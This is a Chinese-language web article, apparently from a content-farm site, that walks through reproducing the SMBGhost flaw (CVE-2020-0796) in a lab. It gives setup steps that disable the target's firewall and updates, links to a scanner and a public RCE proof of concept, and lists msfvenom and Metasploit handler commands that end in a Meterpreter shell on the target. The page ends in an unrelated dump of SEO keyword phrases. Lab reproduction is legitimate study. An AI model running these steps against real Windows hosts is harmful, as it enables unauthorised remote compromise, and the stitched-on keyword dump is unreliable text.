千家信息网

如何实现CVE-2020-0796漏洞复现

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,如何实现CVE-2020-0796漏洞复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。一、CVE-2020-0796简介0x01 漏洞
千家信息网最后更新 2025年02月23日如何实现CVE-2020-0796漏洞复现

如何实现CVE-2020-0796漏洞复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

一、CVE-2020-0796简介

0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。

漏洞危害等级:高

0x02 影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

二、实验环境

靶机:存在漏洞的win10虚拟机环境,系统镜像:

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

ip地址:192.168.117.150

安装镜像后的注意事项:

· 将windows10的防火墙关掉,使能互相ping通

· 将window10的自动更新关掉,避免漏洞被打补丁

检测工具:

https://github.com/dickens88/cve-2020-0796-scanner

getshell代码:

https://github.com/chompie1337/SMBGhost_RCE_PoC

攻击机:kali

ip地址:192.168.117.132

三、复现过程

1、先用检测代码对目标主机进行扫描,发现存在漏洞

python3 cve-2020-0796-scanner.py -t 192.168.117.150

2.使用msfvenom命令生成shellcode代码

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

将生成的shellcode.txt中的代码替换getshell代码中exploit.py中的USER_PAYLOAD部分

3.开启kali中的msf使用handler模块开启监听

msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.117.150set lport 3333run

4.运行修改好的漏洞利用代码:

python3 exploit.py -ip 192.168.117.150

5.发现在msf控制台成功获得反弹shell

6.发现有乱码,使用chcp 65001显示正常

至此复现完成

四、发生的错误

· 修改后的源码有些错误需要改

看完上述内容,你们掌握如何实现CVE-2020-0796漏洞复现的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 代码 内容 地址 数据 方法 更多 环境 目标 简介 系统 错误 镜像 长度 问题 攻击 检测 生成 合法 束手无策 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络安全行业上游 西安中育美佳创意软件开发学院 遇到网络安全侵犯怎么办 flink整合时序数据库 数据库远程管理 网络服务器提高安全性 宅基地数据库建设技术报告 sw无法获得此服务器信息 统计软件开发用什么语言 向日葵有服务器版本吗 破坏网络安全的方式 数据库表中任意两列值不同 苏州专业的财务软件开发教程 华为网络技术与应用实验实训报告 docker 服务器部署 机关工委网络安全屏障 服务器黄色叹号亮能正常使用 奥特曼传奇英雄服务器怎么连接上 网络技术是找上海百首网络 什么数据库可以进行文件传递 lol选择完英雄就卡在服务器上 蜀门游戏怎么看服务器等级 数据库如何拆分几个表 网络技术交互式设计方向 服务器可以玩游戏吗2021 药店数据库 数据库输出到网页端 国防军工网络安全 网络安全警示新闻稿 计算机网络技术学的专业课
0